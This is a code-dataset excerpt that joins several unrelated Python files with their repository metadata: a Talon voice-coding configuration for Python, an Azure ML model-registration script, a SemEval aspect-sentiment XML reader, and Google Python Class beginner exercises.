"NotADirectoryError",
"PermissionError",
"ProcessLookupError",
"TimeoutError",
"ReferenceError",
"RuntimeError",
"NotImplementedError",
"RecursionError",
"SyntaxError",
"IndentationError",
"TabError",
"SystemError",
"TypeError",
"ValueError",
"UnicodeError",
"UnicodeDecodeError",
"UnicodeEncodeError",
"UnicodeTranslateError",
"Warning",
"DeprecationWarning",
"PendingDeprecationWarning",
"RuntimeWarning",
"SyntaxWarning",
"UserWarning",
"FutureWarning",
"ImportWarning",
"UnicodeWarning",
"BytesWarning",
"ResourceWarning",
]
mod.list("python_exception", desc="python exceptions")
ctx.lists["user.python_exception"] = {
" ".join(re.findall("[A-Z][^A-Z]*", exception)).lower(): exception
for exception in exception_list
}
@ctx.action_class("user")
class UserActions:
def code_operator_indirection(): actions.auto_insert('')
def code_operator_address_of(): actions.auto_insert('')
def code_operator_structure_dereference(): actions.auto_insert('')
def code_operator_lambda(): actions.auto_insert('')
def code_operator_subscript():
actions.insert('[]')
actions.key('left')
def code_operator_assignment(): actions.auto_insert(' = ')
def code_operator_subtraction(): actions.auto_insert(' - ')
def code_operator_subtraction_assignment(): actions.auto_insert(' -= ')
def code_operator_addition(): actions.auto_insert(' + ')
def code_operator_addition_assignment(): actions.auto_insert(' += ')
def code_operator_multiplication(): actions.auto_insert(' * ')
def code_operator_multiplication_assignment(): actions.auto_insert(' *= ')
def code_operator_exponent(): actions.auto_insert(' ** ')
def code_operator_division(): actions.auto_insert(' / ')
def code_operator_division_assignment(): actions.auto_insert(' /= ')
def code_operator_modulo(): actions.auto_insert(' % ')
def code_operator_modulo_assignment(): actions.auto_insert(' %= ')
def code_operator_equal(): actions.auto_insert(' == ')
def code_operator_not_equal(): actions.auto_insert(' != ')
def code_operator_greater_than(): actions.auto_insert(' > ')
def code_operator_greater_than_or_equal_to(): actions.auto_insert(' >= ')
def code_operator_less_than(): actions.auto_insert(' < ')
def code_operator_less_than_or_equal_to(): actions.auto_insert(' <= ')
def code_operator_and(): actions.auto_insert(' and ')
def code_operator_or(): actions.auto_insert(' or ')
def code_operator_bitwise_and(): actions.auto_insert(' & ')
def code_operator_bitwise_and_assignment(): actions.auto_insert(' &= ')
def code_operator_bitwise_or(): actions.auto_insert(' | ')
def code_operator_bitwise_or_assignment(): actions.auto_insert(' |= ')
def code_operator_bitwise_exclusive_or(): actions.auto_insert(' ^ ')
def code_operator_bitwise_exclusive_or_assignment(): actions.auto_insert(' ^= ')
def code_operator_bitwise_left_shift(): actions.auto_insert(' << ')
def code_operator_bitwise_left_shift_assignment(): actions.auto_insert(' <<= ')
def code_operator_bitwise_right_shift(): actions.auto_insert(' >> ')
def code_operator_bitwise_right_shift_assignment(): actions.auto_insert(' >>= ')
def code_self(): actions.auto_insert('self')
def code_null(): actions.auto_insert('None')
def code_is_null(): actions.auto_insert(' is None')
def code_is_not_null(): actions.auto_insert(' is not None')
def code_state_if():
actions.insert('if :')
actions.key('left')
def code_state_else_if():
actions.insert('elif :')
actions.key('left')
def code_state_else():
actions.insert('else:')
actions.key('enter')
def code_state_switch():
actions.insert('switch ()')
actions.edit.left()
def code_state_case():
actions.insert('case \nbreak;')
actions.edit.up()
def code_state_for(): actions.auto_insert('for ')
def code_state_for_each():
actions.insert('for in ')
actions.key('left')
actions.edit.word_left()
actions.key('space')
actions.edit.left()
def code_state_while():
actions.insert('while :')
actions.edit.left()
def code_type_class(): actions.auto_insert('class ')
def code_import(): actions.auto_insert('import ')
def code_from_import():
actions.insert('from import ')
actions.key('left')
actions.edit.word_left()
actions.key('space')
actions.edit.left()
def code_comment(): actions.auto_insert('# ')
def code_state_return():
actions.insert('return ')
def code_true(): actions.auto_insert('True')
def code_false(): actions.auto_insert('False')
def code_document_string(): actions.user.insert_cursor('"""[|]"""')
def code_insert_function(text: str, selection: str):
if selection:
text = text + "({})".format(selection)
else:
text = text + "()"
actions.user.paste(text)
actions.edit.left()
def code_default_function(text: str):
actions.user.code_public_function(text)
def code_private_function(text: str):
"""Inserts private function declaration"""
result = "def _{}():".format(
actions.user.formatted_text(
text, settings.get("user.code_private_function_formatter")
)
)
actions.user.paste(result)
actions.edit.left()
actions.edit.left()
def code_public_function(text: str):
result = "def {}():".format(
actions.user.formatted_text(
text, settings.get("user.code_public_function_formatter")
)
)
actions.user.paste(result)
actions.edit.left()
actions.edit.left()
@mod.action_class
class module_actions:
# TODO this could go somewhere else
def insert_cursor(text: str):
"""Insert a string. Leave the cursor wherever [|] is in the text"""
if "[|]" in text:
end_pos = text.find("[|]")
s = text.replace("[|]", "")
actions.insert(s)
actions.key(f"left:{len(s) - end_pos}")
else:
actions.insert(text)
| 34.630597 | 92 | 0.591962 | import re
from talon import Context, Module, actions, settings
mod = Module()
ctx = Context()
ctx.matches = r"""
mode: user.python
mode: user.auto_lang
and code.language: python
"""
ctx.lists["user.code_functions"] = {
"enumerate": "enumerate",
"integer": "int",
"length": "len",
"list": "list",
"print": "print",
"range": "range",
"set": "set",
"split": "split",
"string": "str",
"update": "update",
}
docstring_fields = {
"class": ":class:",
"function": ":func:",
"parameter": ":param:",
"raise": ":raise:",
"returns": ":return:",
"type": ":type:",
"return type": ":rtype:",
"see also": ".. seealso:: ",
"notes": ".. notes:: ",
"warning": ".. warning:: ",
"todo": ".. todo:: ",
}
mod.list("python_docstring_fields", desc="python docstring fields")
ctx.lists["user.python_docstring_fields"] = docstring_fields
type_list = {
"boolean": "bool",
"integer": "int",
"string": "str",
"none": "None",
"dick": "Dict",
"float": "float",
"any": "Any",
"tuple": "Tuple",
"union": "UnionAny",
"iterable": "Iterable",
"vector": "Vector",
"bytes": "bytes",
"sequence": "Sequence",
"callable": "Callable",
"list": "List",
"no return": "NoReturn",
}
mod.list("python_type_list", desc="python types")
ctx.lists["user.python_type_list"] = type_list
exception_list = [
"BaseException",
"SystemExit",
"KeyboardInterrupt",
"GeneratorExit",
"Exception",
"StopIteration",
"StopAsyncIteration",
"ArithmeticError",
"FloatingPointError",
"OverflowError",
"ZeroDivisionError",
"AssertionError",
"AttributeError",
"BufferError",
"EOFError",
"ImportError",
"ModuleNotFoundError",
"LookupError",
"IndexError",
"KeyError",
"MemoryError",
"NameError",
"UnboundLocalError",
"OSError",
"BlockingIOError",
"ChildProcessError",
"ConnectionError",
"BrokenPipeError",
"ConnectionAbortedError",
"ConnectionRefusedError",
"ConnectionResetError",
"FileExistsError",
"FileNotFoundError",
"InterruptedError",
"IsADirectoryError",
"NotADirectoryError",
"PermissionError",
"ProcessLookupError",
"TimeoutError",
"ReferenceError",
"RuntimeError",
"NotImplementedError",
"RecursionError",
"SyntaxError",
"IndentationError",
"TabError",
"SystemError",
"TypeError",
"ValueError",
"UnicodeError",
"UnicodeDecodeError",
"UnicodeEncodeError",
"UnicodeTranslateError",
"Warning",
"DeprecationWarning",
"PendingDeprecationWarning",
"RuntimeWarning",
"SyntaxWarning",
"UserWarning",
"FutureWarning",
"ImportWarning",
"UnicodeWarning",
"BytesWarning",
"ResourceWarning",
]
mod.list("python_exception", desc="python exceptions")
ctx.lists["user.python_exception"] = {
" ".join(re.findall("[A-Z][^A-Z]*", exception)).lower(): exception
for exception in exception_list
}
@ctx.action_class("user")
class UserActions:
def code_operator_indirection(): actions.auto_insert('')
def code_operator_address_of(): actions.auto_insert('')
def code_operator_structure_dereference(): actions.auto_insert('')
def code_operator_lambda(): actions.auto_insert('')
def code_operator_subscript():
actions.insert('[]')
actions.key('left')
def code_operator_assignment(): actions.auto_insert(' = ')
def code_operator_subtraction(): actions.auto_insert(' - ')
def code_operator_subtraction_assignment(): actions.auto_insert(' -= ')
def code_operator_addition(): actions.auto_insert(' + ')
def code_operator_addition_assignment(): actions.auto_insert(' += ')
def code_operator_multiplication(): actions.auto_insert(' * ')
def code_operator_multiplication_assignment(): actions.auto_insert(' *= ')
def code_operator_exponent(): actions.auto_insert(' ** ')
def code_operator_division(): actions.auto_insert(' / ')
def code_operator_division_assignment(): actions.auto_insert(' /= ')
def code_operator_modulo(): actions.auto_insert(' % ')
def code_operator_modulo_assignment(): actions.auto_insert(' %= ')
def code_operator_equal(): actions.auto_insert(' == ')
def code_operator_not_equal(): actions.auto_insert(' != ')
def code_operator_greater_than(): actions.auto_insert(' > ')
def code_operator_greater_than_or_equal_to(): actions.auto_insert(' >= ')
def code_operator_less_than(): actions.auto_insert(' < ')
def code_operator_less_than_or_equal_to(): actions.auto_insert(' <= ')
def code_operator_and(): actions.auto_insert(' and ')
def code_operator_or(): actions.auto_insert(' or ')
def code_operator_bitwise_and(): actions.auto_insert(' & ')
def code_operator_bitwise_and_assignment(): actions.auto_insert(' &= ')
def code_operator_bitwise_or(): actions.auto_insert(' | ')
def code_operator_bitwise_or_assignment(): actions.auto_insert(' |= ')
def code_operator_bitwise_exclusive_or(): actions.auto_insert(' ^ ')
def code_operator_bitwise_exclusive_or_assignment(): actions.auto_insert(' ^= ')
def code_operator_bitwise_left_shift(): actions.auto_insert(' << ')
def code_operator_bitwise_left_shift_assignment(): actions.auto_insert(' <<= ')
def code_operator_bitwise_right_shift(): actions.auto_insert(' >> ')
def code_operator_bitwise_right_shift_assignment(): actions.auto_insert(' >>= ')
def code_self(): actions.auto_insert('self')
def code_null(): actions.auto_insert('None')
def code_is_null(): actions.auto_insert(' is None')
def code_is_not_null(): actions.auto_insert(' is not None')
def code_state_if():
actions.insert('if :')
actions.key('left')
def code_state_else_if():
actions.insert('elif :')
actions.key('left')
def code_state_else():
actions.insert('else:')
actions.key('enter')
def code_state_switch():
actions.insert('switch ()')
actions.edit.left()
def code_state_case():
actions.insert('case \nbreak;')
actions.edit.up()
def code_state_for(): actions.auto_insert('for ')
def code_state_for_each():
actions.insert('for in ')
actions.key('left')
actions.edit.word_left()
actions.key('space')
actions.edit.left()
def code_state_while():
actions.insert('while :')
actions.edit.left()
def code_type_class(): actions.auto_insert('class ')
def code_import(): actions.auto_insert('import ')
def code_from_import():
actions.insert('from import ')
actions.key('left')
actions.edit.word_left()
actions.key('space')
actions.edit.left()
def code_comment(): actions.auto_insert('# ')
def code_state_return():
actions.insert('return ')
def code_true(): actions.auto_insert('True')
def code_false(): actions.auto_insert('False')
def code_document_string(): actions.user.insert_cursor('"""[|]"""')
def code_insert_function(text: str, selection: str):
if selection:
text = text + "({})".format(selection)
else:
text = text + "()"
actions.user.paste(text)
actions.edit.left()
def code_default_function(text: str):
actions.user.code_public_function(text)
def code_private_function(text: str):
result = "def _{}():".format(
actions.user.formatted_text(
text, settings.get("user.code_private_function_formatter")
)
)
actions.user.paste(result)
actions.edit.left()
actions.edit.left()
def code_public_function(text: str):
result = "def {}():".format(
actions.user.formatted_text(
text, settings.get("user.code_public_function_formatter")
)
)
actions.user.paste(result)
actions.edit.left()
actions.edit.left()
@mod.action_class
class module_actions:
def insert_cursor(text: str):
if "[|]" in text:
end_pos = text.find("[|]")
s = text.replace("[|]", "")
actions.insert(s)
actions.key(f"left:{len(s) - end_pos}")
else:
actions.insert(text)
| true | true |
f7f375c64383acfcf58fe37b4b06893b11584f57 | 6,954 | py | Python | team5ml/register/register_model.py | balakreshnan/mlopshack2020 | 12a40bba5d991a5478df6127eff0f2ab241abae5 | [
"MIT"
] | null | null | null | team5ml/register/register_model.py | balakreshnan/mlopshack2020 | 12a40bba5d991a5478df6127eff0f2ab241abae5 | [
"MIT"
] | null | null | null | team5ml/register/register_model.py | balakreshnan/mlopshack2020 | 12a40bba5d991a5478df6127eff0f2ab241abae5 | [
"MIT"
] | null | null | null | """
Copyright (C) Microsoft Corporation. All rights reserved.
Microsoft Corporation (“Microsoft”) grants you a nonexclusive, perpetual,
royalty-free right to use, copy, and modify the software code provided by us
("Software Code"). You may not sublicense the Software Code or any use of it
(except to your affiliates and to vendors to perform work on your behalf)
through distribution, network access, service agreement, lease, rental, or
otherwise. This license does not purport to express any claim of ownership over
data you may have shared with Microsoft in the creation of the Software Code.
Unless applicable law gives you more rights, Microsoft reserves all other
rights not expressly granted herein, whether by implication, estoppel or
otherwise.
THE SOFTWARE CODE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
MICROSOFT OR ITS LICENSORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THE SOFTWARE CODE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
"""
import json
import os
import sys
import argparse
import traceback
import joblib
from azureml.core import Run, Experiment, Workspace, Dataset
from azureml.core.model import Model as AMLModel
def main():
run = Run.get_context()
if (run.id.startswith('OfflineRun')):
from dotenv import load_dotenv
# For local development, set values in this section
load_dotenv()
workspace_name = os.environ.get("WORKSPACE_NAME")
experiment_name = os.environ.get("EXPERIMENT_NAME")
resource_group = os.environ.get("RESOURCE_GROUP")
subscription_id = os.environ.get("SUBSCRIPTION_ID")
# run_id useful to query previous runs
run_id = "bd184a18-2ac8-4951-8e78-e290bef3b012"
aml_workspace = Workspace.get(
name=workspace_name,
subscription_id=subscription_id,
resource_group=resource_group
)
ws = aml_workspace
exp = Experiment(ws, experiment_name)
else:
ws = run.experiment.workspace
exp = run.experiment
run_id = 'amlcompute'
parser = argparse.ArgumentParser("register")
parser.add_argument(
"--run_id",
type=str,
help="Training run ID",
)
parser.add_argument(
"--model_name",
type=str,
help="Name of the Model",
default="team5ml_model.pkl",
)
parser.add_argument(
"--step_input",
type=str,
help=("input from previous steps")
)
args = parser.parse_args()
if (args.run_id is not None):
run_id = args.run_id
if (run_id == 'amlcompute'):
run_id = run.parent.id
model_name = args.model_name
model_path = args.step_input
print("Getting registration parameters")
# Load the registration parameters from the parameters file
with open("parameters.json") as f:
pars = json.load(f)
try:
register_args = pars["registration"]
except KeyError:
print("Could not load registration values from file")
register_args = {"tags": []}
model_tags = {}
for tag in register_args["tags"]:
try:
mtag = run.parent.get_metrics()[tag]
model_tags[tag] = mtag
except KeyError:
print(f"Could not find {tag} metric on parent run.")
# load the model
print("Loading model from " + model_path)
model_file = os.path.join(model_path, model_name)
model = joblib.load(model_file)
parent_tags = run.parent.get_tags()
try:
build_id = parent_tags["BuildId"]
except KeyError:
build_id = None
print("BuildId tag not found on parent run.")
print(f"Tags present: {parent_tags}")
try:
build_uri = parent_tags["BuildUri"]
except KeyError:
build_uri = None
print("BuildUri tag not found on parent run.")
print(f"Tags present: {parent_tags}")
if (model is not None):
dataset_id = parent_tags["dataset_id"]
if (build_id is None):
register_aml_model(
model_file,
model_name,
model_tags,
exp,
run_id,
dataset_id)
elif (build_uri is None):
register_aml_model(
model_file,
model_name,
model_tags,
exp,
run_id,
dataset_id,
build_id)
else:
register_aml_model(
model_file,
model_name,
model_tags,
exp,
run_id,
dataset_id,
build_id,
build_uri)
else:
print("Model not found. Skipping model registration.")
sys.exit(0)
def model_already_registered(model_name, exp, run_id):
model_list = AMLModel.list(exp.workspace, name=model_name, run_id=run_id)
if len(model_list) >= 1:
e = ("Model name:", model_name, "in workspace",
exp.workspace, "with run_id ", run_id, "is already registered.")
print(e)
raise Exception(e)
else:
print("Model is not registered for this run.")
def register_aml_model(
model_path,
model_name,
model_tags,
exp,
run_id,
dataset_id,
build_id: str = 'none',
build_uri=None
):
try:
tagsValue = {"area": "team5ml",
"run_id": run_id,
"experiment_name": exp.name}
tagsValue.update(model_tags)
if (build_id != 'none'):
model_already_registered(model_name, exp, run_id)
tagsValue["BuildId"] = build_id
if (build_uri is not None):
tagsValue["BuildUri"] = build_uri
model = AMLModel.register(
workspace=exp.workspace,
model_name=model_name,
model_path=model_path,
tags=tagsValue,
datasets=[('training data',
Dataset.get_by_id(exp.workspace, dataset_id))])
os.chdir("..")
print(
"Model registered: {} \nModel Description: {} "
"\nModel Version: {}".format(
model.name, model.description, model.version
)
)
except Exception:
traceback.print_exc(limit=None, file=None, chain=True)
print("Model registration failed")
raise
if __name__ == '__main__':
main()
| 32.344186 | 79 | 0.619931 | import json
import os
import sys
import argparse
import traceback
import joblib
from azureml.core import Run, Experiment, Workspace, Dataset
from azureml.core.model import Model as AMLModel
def main():
run = Run.get_context()
if (run.id.startswith('OfflineRun')):
from dotenv import load_dotenv
load_dotenv()
workspace_name = os.environ.get("WORKSPACE_NAME")
experiment_name = os.environ.get("EXPERIMENT_NAME")
resource_group = os.environ.get("RESOURCE_GROUP")
subscription_id = os.environ.get("SUBSCRIPTION_ID")
run_id = "bd184a18-2ac8-4951-8e78-e290bef3b012"
aml_workspace = Workspace.get(
name=workspace_name,
subscription_id=subscription_id,
resource_group=resource_group
)
ws = aml_workspace
exp = Experiment(ws, experiment_name)
else:
ws = run.experiment.workspace
exp = run.experiment
run_id = 'amlcompute'
parser = argparse.ArgumentParser("register")
parser.add_argument(
"--run_id",
type=str,
help="Training run ID",
)
parser.add_argument(
"--model_name",
type=str,
help="Name of the Model",
default="team5ml_model.pkl",
)
parser.add_argument(
"--step_input",
type=str,
help=("input from previous steps")
)
args = parser.parse_args()
if (args.run_id is not None):
run_id = args.run_id
if (run_id == 'amlcompute'):
run_id = run.parent.id
model_name = args.model_name
model_path = args.step_input
print("Getting registration parameters")
with open("parameters.json") as f:
pars = json.load(f)
try:
register_args = pars["registration"]
except KeyError:
print("Could not load registration values from file")
register_args = {"tags": []}
model_tags = {}
for tag in register_args["tags"]:
try:
mtag = run.parent.get_metrics()[tag]
model_tags[tag] = mtag
except KeyError:
print(f"Could not find {tag} metric on parent run.")
print("Loading model from " + model_path)
model_file = os.path.join(model_path, model_name)
model = joblib.load(model_file)
parent_tags = run.parent.get_tags()
try:
build_id = parent_tags["BuildId"]
except KeyError:
build_id = None
print("BuildId tag not found on parent run.")
print(f"Tags present: {parent_tags}")
try:
build_uri = parent_tags["BuildUri"]
except KeyError:
build_uri = None
print("BuildUri tag not found on parent run.")
print(f"Tags present: {parent_tags}")
if (model is not None):
dataset_id = parent_tags["dataset_id"]
if (build_id is None):
register_aml_model(
model_file,
model_name,
model_tags,
exp,
run_id,
dataset_id)
elif (build_uri is None):
register_aml_model(
model_file,
model_name,
model_tags,
exp,
run_id,
dataset_id,
build_id)
else:
register_aml_model(
model_file,
model_name,
model_tags,
exp,
run_id,
dataset_id,
build_id,
build_uri)
else:
print("Model not found. Skipping model registration.")
sys.exit(0)
def model_already_registered(model_name, exp, run_id):
model_list = AMLModel.list(exp.workspace, name=model_name, run_id=run_id)
if len(model_list) >= 1:
e = ("Model name:", model_name, "in workspace",
exp.workspace, "with run_id ", run_id, "is already registered.")
print(e)
raise Exception(e)
else:
print("Model is not registered for this run.")
def register_aml_model(
model_path,
model_name,
model_tags,
exp,
run_id,
dataset_id,
build_id: str = 'none',
build_uri=None
):
try:
tagsValue = {"area": "team5ml",
"run_id": run_id,
"experiment_name": exp.name}
tagsValue.update(model_tags)
if (build_id != 'none'):
model_already_registered(model_name, exp, run_id)
tagsValue["BuildId"] = build_id
if (build_uri is not None):
tagsValue["BuildUri"] = build_uri
model = AMLModel.register(
workspace=exp.workspace,
model_name=model_name,
model_path=model_path,
tags=tagsValue,
datasets=[('training data',
Dataset.get_by_id(exp.workspace, dataset_id))])
os.chdir("..")
print(
"Model registered: {} \nModel Description: {} "
"\nModel Version: {}".format(
model.name, model.description, model.version
)
)
except Exception:
traceback.print_exc(limit=None, file=None, chain=True)
print("Model registration failed")
raise
if __name__ == '__main__':
main()
| true | true |
f7f375d9a489238c7738ee695551641fff44b11c | 4,055 | py | Python | datasets.py | Cppowboy/APWEB-WAIM | 9474cbe60100a7b4d2333b8c3501a6a74e2ba190 | [
"MIT"
] | null | null | null | datasets.py | Cppowboy/APWEB-WAIM | 9474cbe60100a7b4d2333b8c3501a6a74e2ba190 | [
"MIT"
] | null | null | null | datasets.py | Cppowboy/APWEB-WAIM | 9474cbe60100a7b4d2333b8c3501a6a74e2ba190 | [
"MIT"
] | null | null | null | import os
import csv
import numpy as np
from tqdm import tqdm
from sklearn.utils import shuffle
from sklearn.model_selection import train_test_split
from xml.etree import ElementTree as ET
from nltk import word_tokenize
seed = 3535999445
#
# def _rocstories(path):
# with open(path, encoding='utf_8') as f:
# f = csv.reader(f)
# st = []
# ct1 = []
# ct2 = []
# y = []
# for i, line in enumerate(tqdm(list(f), ncols=80, leave=False)):
# if i > 0:
# s = ' '.join(line[1:5])
# c1 = line[5]
# c2 = line[6]
# st.append(s)
# ct1.append(c1)
# ct2.append(c2)
# y.append(int(line[-1]) - 1)
# return st, ct1, ct2, y
#
#
# def rocstories(data_dir, n_train=1497, n_valid=374):
# storys, comps1, comps2, ys = _rocstories(
# os.path.join(data_dir, 'cloze_test_val__spring2016 - cloze_test_ALL_val.csv'))
# teX1, teX2, teX3, _ = _rocstories(os.path.join(data_dir, 'cloze_test_test__spring2016 - cloze_test_ALL_test.csv'))
# tr_storys, va_storys, tr_comps1, va_comps1, tr_comps2, va_comps2, tr_ys, va_ys = train_test_split(storys, comps1,
# comps2, ys,
# test_size=n_valid,
# random_state=seed)
# trX1, trX2, trX3 = [], [], []
# trY = []
# for s, c1, c2, y in zip(tr_storys, tr_comps1, tr_comps2, tr_ys):
# trX1.append(s)
# trX2.append(c1)
# trX3.append(c2)
# trY.append(y)
#
# vaX1, vaX2, vaX3 = [], [], []
# vaY = []
# for s, c1, c2, y in zip(va_storys, va_comps1, va_comps2, va_ys):
# vaX1.append(s)
# vaX2.append(c1)
# vaX3.append(c2)
# vaY.append(y)
# trY = np.asarray(trY, dtype=np.int32)
# vaY = np.asarray(vaY, dtype=np.int32)
# return (trX1, trX2, trX3, trY), (vaX1, vaX2, vaX3, vaY), (teX1, teX2, teX3)
def _semeval(fname):
'''
read aspect term data from xml file
:param fname:
:param wordcounter:
:param targetcounter:
:return:
'''
print('reading aspect term from {}'.format(fname))
dic = {'positive': 2, 'neutral': 1, 'negative': 0}
tree = ET.parse(fname)
root = tree.getroot()
bad_sent = 0
sent_list = []
aspect_list = []
label_list = []
for sentence in tqdm(root.findall('sentence')):
try:
txt = sentence.find('text').text.lower().rstrip()
words = word_tokenize(txt)
aspects = sentence.find('aspectTerms')
for aspect in aspects.findall('aspectTerm'):
a = aspect.get('term').lower().strip()
# if '/' in a:
# a = a.split('/')[-1]
p = aspect.get('polarity')
if p == 'conflict':
continue
p = dic[p]
sent_list.append(txt)
aspect_list.append(a)
label_list.append(p)
except:
bad_sent += 1
print('bad sent %d, total count %d' % (bad_sent, len(sent_list)))
return sent_list, aspect_list, label_list
def semeval(data_dir):
# sents, aspects, labels = _semeval(os.path.join(data_dir, 'Laptops_Train_v2.xml'))
sents, aspects, labels = _semeval(os.path.join(data_dir, 'train.xml'))
# sents, aspects, labels = _semeval(os.path.join(data_dir, 'Restaurants_Train_v2.xml'))
# va_sents, va_aspects, va_labels = _semeval(os.path.join(data_dir, 'Laptops_Test_Gold.xml'))
va_sents, va_aspects, va_labels = _semeval(os.path.join(data_dir, 'test.xml'))
# va_sents, va_aspects, va_labels = _semeval(os.path.join(data_dir, 'Restaurants_Test_Gold.xml'))
return (sents, aspects, labels), (va_sents, va_aspects, va_labels)
| 37.201835 | 122 | 0.531689 | import os
import csv
import numpy as np
from tqdm import tqdm
from sklearn.utils import shuffle
from sklearn.model_selection import train_test_split
from xml.etree import ElementTree as ET
from nltk import word_tokenize
seed = 3535999445
def _semeval(fname):
print('reading aspect term from {}'.format(fname))
dic = {'positive': 2, 'neutral': 1, 'negative': 0}
tree = ET.parse(fname)
root = tree.getroot()
bad_sent = 0
sent_list = []
aspect_list = []
label_list = []
for sentence in tqdm(root.findall('sentence')):
try:
txt = sentence.find('text').text.lower().rstrip()
words = word_tokenize(txt)
aspects = sentence.find('aspectTerms')
for aspect in aspects.findall('aspectTerm'):
a = aspect.get('term').lower().strip()
p = aspect.get('polarity')
if p == 'conflict':
continue
p = dic[p]
sent_list.append(txt)
aspect_list.append(a)
label_list.append(p)
except:
bad_sent += 1
print('bad sent %d, total count %d' % (bad_sent, len(sent_list)))
return sent_list, aspect_list, label_list
def semeval(data_dir):
sents, aspects, labels = _semeval(os.path.join(data_dir, 'train.xml'))
va_sents, va_aspects, va_labels = _semeval(os.path.join(data_dir, 'test.xml'))
return (sents, aspects, labels), (va_sents, va_aspects, va_labels)
| true | true |
f7f376453f779db0bda0a889ca2401f77f1bbb15 | 656 | py | Python | 01_Hello/hello08_formatted.py | davidlg2005/tiny_python_projects | 3f86615f32c10cb2e689ef4abc56c2c194063bfe | [
"MIT"
] | null | null | null | 01_Hello/hello08_formatted.py | davidlg2005/tiny_python_projects | 3f86615f32c10cb2e689ef4abc56c2c194063bfe | [
"MIT"
] | null | null | null | 01_Hello/hello08_formatted.py | davidlg2005/tiny_python_projects | 3f86615f32c10cb2e689ef4abc56c2c194063bfe | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
"""
Author: Ken Youens-Clark <kyclark@gmail.com>
Purpose: Say hello
"""
import argparse
# --------------------------------------------------
def get_args():
"""Get the command-line arguments"""
parser = argparse.ArgumentParser(description='Say hello')
parser.add_argument('-n', '--name', default='World', help='Name to greet')
return parser.parse_args()
# --------------------------------------------------
def main():
"""Make a jazz noise here"""
args = get_args()
print('01_Hello, ' + args.name + '!')
# --------------------------------------------------
if __name__ == '__main__':
main()
| 21.866667 | 78 | 0.481707 |
import argparse
def get_args():
parser = argparse.ArgumentParser(description='Say hello')
parser.add_argument('-n', '--name', default='World', help='Name to greet')
return parser.parse_args()
def main():
args = get_args()
print('01_Hello, ' + args.name + '!')
if __name__ == '__main__':
main()
| true | true |
f7f3767d0ba100472c0068b2df4bef992993febc | 1,023 | py | Python | Alternate implementation/vran.py | ashtedroid/Test-Cases-Prioritization-and-Analysis | 70a6997f3764ea39c51fdc8cd6806e430088f8a7 | [
"MIT"
] | 1 | 2020-04-24T08:08:49.000Z | 2020-04-24T08:08:49.000Z | Alternate implementation/vran.py | ashtedroid/Test-Cases-Prioritization-and-Analysis | 70a6997f3764ea39c51fdc8cd6806e430088f8a7 | [
"MIT"
] | null | null | null | Alternate implementation/vran.py | ashtedroid/Test-Cases-Prioritization-and-Analysis | 70a6997f3764ea39c51fdc8cd6806e430088f8a7 | [
"MIT"
] | null | null | null | '''
=================================================================
@version 2.0
@author Ashwin Ramadevanahalli
@title Testing.
Random Priorization module.
=================================================================
'''
import random
import vec_manipulation
import sys
def pri(rrlist,location,pname,option):
rlist=rrlist
random.shuffle(rlist)
f=open(location+"bit/"+pname+"/out"+str(option)+".txt")
pmax=int(str(f.readlines()[0]).strip('\n'))
print "Ran Max coverage:",pmax
f.close()
cov=rlist[0][1]
vec=vec_manipulation.vfetch(rlist[0][0],location,pname,option)
suite=[]
suite.append(rlist[0][2])
rlist.remove(rlist[0])
for tup in rlist:
if cov==pmax:
print cov ##########
return suite
cov,vec=vec_manipulation.vmerge(vec,vec_manipulation.vfetch(tup[0],location,pname,option))
suite.append(tup[2])
if cov==pmax:
print cov ##########
return suite
print "Max:",pmax," coverage:",cov
sys.exit("Ran:Adequate testset not found")
| 17.947368 | 92 | 0.57087 | '''
=================================================================
@version 2.0
@author Ashwin Ramadevanahalli
@title Testing.
Random Priorization module.
=================================================================
'''
import random
import vec_manipulation
import sys
def pri(rrlist,location,pname,option):
rlist=rrlist
random.shuffle(rlist)
f=open(location+"bit/"+pname+"/out"+str(option)+".txt")
pmax=int(str(f.readlines()[0]).strip('\n'))
print "Ran Max coverage:",pmax
f.close()
cov=rlist[0][1]
vec=vec_manipulation.vfetch(rlist[0][0],location,pname,option)
suite=[]
suite.append(rlist[0][2])
rlist.remove(rlist[0])
for tup in rlist:
if cov==pmax:
print cov on.vmerge(vec,vec_manipulation.vfetch(tup[0],location,pname,option))
suite.append(tup[2])
if cov==pmax:
print cov age:",cov
sys.exit("Ran:Adequate testset not found")
| false | true |
f7f37745e718e98930284dc6fa7dcd22548b60bd | 3,235 | py | Python | basic/list1.py | mbradaschia/wttd-exercises-mod-01 | 0de943723a36ffe9fee99da501de238651ae3dd1 | [
"Apache-2.0"
] | null | null | null | basic/list1.py | mbradaschia/wttd-exercises-mod-01 | 0de943723a36ffe9fee99da501de238651ae3dd1 | [
"Apache-2.0"
] | null | null | null | basic/list1.py | mbradaschia/wttd-exercises-mod-01 | 0de943723a36ffe9fee99da501de238651ae3dd1 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python -tt
# Copyright 2010 Google Inc.
# Licensed under the Apache License, Version 2.0
# http://www.apache.org/licenses/LICENSE-2.0
# Google's Python Class
# http://code.google.com/edu/languages/google-python-class/
# Basic list exercises
# Fill in the code for the functions below. main() is already set up
# to call the functions with a few different inputs,
# printing 'OK' when each function is correct.
# The starter code for each function includes a 'return'
# which is just a placeholder for your code.
# It's ok if you do not complete all the functions, and there
# are some additional functions to try in list2.py.
# A. match_ends
# Given a list of strings, return the count of the number of
# strings where the string length is 2 or more and the first
# and last chars of the string are the same.
# Note: python does not have a ++ operator, but += works.
def match_ends(words):
nl = []
# for w in words:
# if len(w) >= 2 and w[0] == w[-1]:
# nl.append(w)
nl = [w for w in words if len(w) >= 2 and w[0] == w[-1]]
return len(nl)
# B. front_x
# Given a list of strings, return a list with the strings
# in sorted order, except group all the strings that begin with 'x' first.
